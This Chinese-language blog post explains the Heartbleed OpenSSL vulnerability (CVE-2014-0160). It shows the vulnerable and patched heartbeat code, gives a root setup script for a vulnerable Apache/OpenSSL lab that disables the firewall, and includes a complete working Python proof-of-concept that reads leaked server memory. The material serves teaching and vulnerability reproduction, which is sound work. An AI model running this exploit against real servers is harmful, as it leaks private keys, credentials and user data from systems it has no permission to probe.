Heartbleed 漏洞

5 minute read

Heartbleed 漏洞

漏洞简介

Heartbleed漏洞是2014年发现的openssl协议的一个漏洞。漏洞编号CVE-2014-0160,出现在openssl-1.0.1到1.0.2-beta版本中。

利用方式

当攻击者构造一个特殊的数据包,满足用户心跳包中的数据会导致memcpy把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的openssl服务器内存中长达64K的数据。

漏洞成因

出现漏洞的代码如下:

为了简化起便,对代码进行了适当删减。

#ifndef OPENSSL_NO_HEARTBEATSintdtls1_process_heartbeat(SSL *s) {
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16;
/* Use minimum padding */
/* Read type and payload length first */
hbtype = *p++;
/*宏n2s从指针p指向的数组中取出前两个字节,并把它们存入变量payload中——这实际上是心跳包载荷的长度域(length)。注意程序并没有检查这条SSLv3记录的实际长度。变量pl则指向由访问者提供的心跳包数据。*/
n2s(p, payload);
pl = p;
if (s->msg_callback)
    s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT, &s->s3->rrec.data[0], s->s3->rrec.length, s, s->msg_callback_arg); /*接下来,程序将分配一段由访问者指定大小的内存区域,这段内存区域最大为 (65535 + 1 + 2 + 16) 个字节。变量bp是用来访问这段内存区域的指针。*/
if (hbtype == TLS1_HB_REQUEST)
{
    unsigned char *buffer, *bp;
    int r;
    /* Allocate memory for the response, size is 1 byte		 
    * message type, plus 2 bytes payload length, plus		 
    * payload, plus padding		 
    */
    buffer = OPENSSL_malloc(1 + 2 + payload + padding);
    bp = buffer;
    /*宏s2n与宏n2s干的事情正好相反:s2n读入一个16 bit长的值,然后将它存成双字节值,所以s2n会将与请求的心跳包载荷长度相同的长度值存入变量payload。然后程序从pl处开始复制payload个字节到新分配的bp数组中——pl指向了用户提供的心跳包数据。最后,程序将所有数据发回给用户。*/
    /* Enter response type, length and copy payload */
    *bp++ = TLS1_HB_RESPONSE;
    s2n(payload, bp);
    memcpy(bp, pl, payload);
    bp += payload; /* Random padding */
    RAND_pseudo_bytes(bp, padding);
    return 0;
}

修复后的代码如下:

#ifndef OPENSSL_NO_HEARTBEATSint dtls1_process_heartbeat(SSL *s) {
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /* Use minimum padding */
if (s->msg_callback)
    s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT, &s->s3->rrec.data[0], s->s3->rrec.length, s, s->msg_callback_arg); 
    /* Read type and payload length first */
if (1 + 2 + 16 > s->s3->rrec.length)
    return 0; /* silently discard */
if (s->s3->rrec.length > SSL3_RT_MAX_PLAIN_LENGTH)
    return 0; /* silently discard per RFC 6520 sec. 4 */
hbtype = *p++;
n2s(p, payload);
if (1 + 2 + payload + 16 > s->s3->rrec.length)
    return 0; /* silently discard per RFC 6520 sec. 4 */
pl = p;
return 0;
}

此次漏洞的主要成因是memcpy()函数没有检查长度,从而导致了内存信息泄漏。Bug出在用户可以控制变量payload和pl。直接影响在s2n代码下面的memcpy函数——如果用户并没有在心跳包中提供足够多的数据,比如pl指向的数据实际上只有一个字节,那么memcpy会把这条SSLv3记录之后的数据(长度为payload)——无论那些数据是什么——都复制出来。

漏洞复现

注意:请不要在物理机中运行,建议使用虚拟机 脚本如下:

# https://blog.csdn.net/flurry_rain/article/details/82706375
# ubuntu64位系统测试通过,请在root用户下运行
apt update -y #更新软件包
apt install -y wget gcc make #下载必要的软件
mkdir /home/temp/apache -p #下载apache2服务
cd /home/temp/apache
wget http://archive.apache.org/dist/httpd/httpd-2.2.34.tar.gz
tar xzvf httpd-2.2.34.tar.gz
mkdir /home/temp/openssl -p #安装openssl
cd /home/temp/openssl
wget http://www.openssl.org/source/openssl-1.0.1b.tar.gz
tar xzvf openssl-1.0.1b.tar.gz
apt remove -y openssl #移除原来的openssl
mkdir /usr/local/ssl -p
cd openssl-1.0.1b
./config --prefix=/usr/local/ssl  shared  -fPIC  no-gostrm -f /usr/bin/pod2man
make
make install
rm /usr/lib/x86_64-linux-gnu/libssl.so -f 
rm /usr/lib/x86_64-linux-gnu/libcrypto.so -f
rm /lib/x86_64-linux-gnu/libssl.so -f 
rm /lib/x86_64-linux-gnu/libcrypto.so -f
cp /usr/local/ssl/lib/libssl.so /lib/x86_64-linux-gnu/
cp /usr/local/ssl/lib/libcrypto.so /lib/x86_64-linux-gnu/
cp /usr/local/ssl/lib/libssl.so /usr/lib/x86_64-linux-gnu/
cp /usr/local/ssl/lib/libcrypto.so /usr/lib/x86_64-linux-gnu/
echo "/usr/local/openssl/lib" >> /etc/ld.so.conf
echo "export OPENSSL=/usr/local/ssl/bin" >> /etc/profile
echo "export PATH=$OPENSSL:$PATH:$HOME/bin" >> /etc/profile
mv /usr/bin/ssl /usr/bin/openssl.old
mv /usr/include/ssl /usr/include/openssl.old
ln -s /usr/local/ssl/bin/openssl /usr/bin/openssl
ln -s /usr/local/ssl/include/openssl /usr/include/openssl
ln -sf /usr/local/ssl/lib/libcrypto.so.1.0.0 /lib/libcrypto.so.6
echo "/usr/local/ssl/lib" >>/etc/ld.so.conf
ldconfig -v
# 安装apache
mkdir /usr/local/httpd -p
mkdir /usr/local/apr -p
mkdir /usr/local/apr-util -p
cd /home/temp/apache/httpd-2.2.34/srclib/apr
./configure --prefix=/usr/local/apr
make
make install
cd /home/temp/apache/httpd-2.2.34/srclib/apr-util
./configure  --prefix=/usr/local/apr-util/ --with-apr=/usr/local/apr
make
make install
cd /home/temp/apache/httpd-2.2.34
./configure --prefix=/usr/local/httpd --enable-so --enable-rewrite --enable-ssl --with-ssl=/usr/local/ssl --with-apr=/usr/local/apr --with-apr-util=/usr/local/apr-util
make
make install
sed -i 's/#Include conf/extra/httpd-ssl.conf/Include conf/extra/httpd-ssl.conf' /usr/local/httpd/conf/httpd.conf
cd /usr/local/httpd/confopenssl genrsa -out server.key 2048 #生成密钥和证书openssl 
req -new -key server.key -out server.csropenssl x509 -req -days 3650 -in server.csr -signkey server.key -out server.crt
systemctl stop firewalld
cd /usr/local/httpd/bin
./apachectl start

Poc

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()

Tags:

Categories:

Updated:

Comments